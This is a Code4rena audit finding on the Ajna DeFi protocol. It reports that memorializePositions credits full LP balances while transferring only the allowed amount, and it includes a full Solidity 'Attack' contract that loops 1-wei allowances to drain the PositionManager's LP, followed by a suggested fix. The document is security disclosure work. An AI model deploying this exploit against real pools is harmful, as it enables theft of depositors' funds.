Platform: Code4rena
Start Date: 03/05/2023
Pot Size: $60,500 USDC
Total HM: 25
Participants: 114
Period: 8 days
Judge: Picodes
Total Solo HM: 6
Id: 234
League: ETH
Rank: 44/114
Findings: 1
Award: $237.76
🌟 Selected for report: 0
🚀 Solo Findings: 0
237.7565 USDC - $237.76
https://github.com/code-423n4/2023-05-ajna/blob/276942bc2f97488d07b887c8edceaaab7a5c3964/ajna-core/src/PositionManager.sol#L202 https://github.com/code-423n4/2023-05-ajna/blob/276942bc2f97488d07b887c8edceaaab7a5c3964/ajna-core/src/libraries/external/LPActions.sol#L244 https://github.com/code-423n4/2023-05-ajna/blob/276942bc2f97488d07b887c8edceaaab7a5c3964/ajna-core/src/libraries/external/LPActions.sol#L260
In function memorializePositions, position.lps+=lpBalance is conducted. However, when memorializePositions is calling pool.transferLP, if user's allowedAmount is less than ownerLpBalance, the lp will not be fully transffered. Position.lps in mapping positions is incorrectly updated.
Attacker can increaseLPAllowance to PositonManager by a small amount and then memorializePositions, only allowedAmount of lp will be transffered by function pool.transferLP, but the mapping position will be updated as if it has been fully transffered. Attacker repeat the steps until his position.lps exceeds the total lp amount that PositonManager owned, then he can drain all mined LP by reedemPositions.
A demo contract is given below, targeting AJNA-WETH pool.
// SPDX-License-Identifier: MIT pragma solidity 0.8.14; import {WETH9} from 'weth/WETH9.sol'; import {ERC20Pool} from './src/ERC20Pool.sol'; import {Pool} from './src/base/Pool.sol'; import {PositionManager} from './src/PositionManager.sol'; contract Attack{ struct MemorializePositionsParams { uint256 tokenId; uint256[] indexes; } struct RedeemPositionsParams { uint256 tokenId; // The tokenId of the positions NFT address pool; // The pool address associated with positions NFT uint256[] indexes; // The array of bucket indexes to reedem positions for } address _ERC20Pool; address _PositionManager; address payable _WETH9; constructor(address ERC20Pool_, address PositionManager_, address payable WETH9_){ _ERC20Pool=ERC20Pool_; _PositionManager=PositionManager_; _WETH9=WETH9_; } //Attacker call fuction go with 1 ether function go (address self, uint bucketIndex) external payable returns(uint,uint){ WETH9(_WETH9).deposit{value:1e18}(); WETH9(_WETH9).approve(_ERC20Pool,1e18); ERC20Pool(_ERC20Pool).addQuoteToken(1e18,bucketIndex,2*block.timestamp); uint tokenId; {bytes memory p=abi.encodeWithSignature("mint((address,address,bytes32))",self,_ERC20Pool,0x2263c4378b4920f0bef611a3ff22c506afa4745b3319c50b6d704a874990b8b2); (,bytes memory pReturn)=_PositionManager.call(p); tokenId=abi.decode(pReturn,(uint));} {address[] memory transferors=new address[](1); transferors[0]=_PositionManager; Pool(_ERC20Pool).approveLPTransferors(transferors);} //get minted lp amount before attack (uint mintedLP,)=ERC20Pool(_ERC20Pool).lenderInfo(bucketIndex,_PositionManager); bytes memory q; bytes memory r; uint256[] memory indexes=new uint[](1); indexes[0]=bucketIndex; uint256[] memory amounts=new uint[](1); amounts[0]=1; {MemorializePositionsParams memory qq; RedeemPositionsParams memory rr; qq.tokenId=tokenId; qq.indexes=indexes; rr.tokenId=tokenId; rr.pool=_ERC20Pool; rr.indexes=indexes; q=abi.encodeWithSignature("memorializePositions((uint256,uint256[]))",qq); r=abi.encodeWithSignature("reedemPositions((uint256,address,uint256[]))",rr);} //repeat until drained for(uint leftLP=1; leftLP>0 ;) { //only allow 1 wei Pool(_ERC20Pool).increaseLPAllowance(_PositionManager,indexes,amounts); _PositionManager.call(q); _PositionManager.call(r); (leftLP,)=ERC20Pool(_ERC20Pool).lenderInfo(bucketIndex,_PositionManager); } //get current lp amount of attacker (uint nowLP,)=ERC20Pool(_ERC20Pool).lenderInfo(bucketIndex,self); return (mintedLP,nowLP); } }
Manual review
Add a parameter transferAmount for function transferLP. Revert if allowedAmount is less than transferAmount.
Context
#0 - c4-judge
2023-05-18T09:52:57Z
Picodes marked the issue as duplicate of #256
#1 - c4-judge
2023-05-30T19:12:18Z
Picodes marked the issue as satisfactory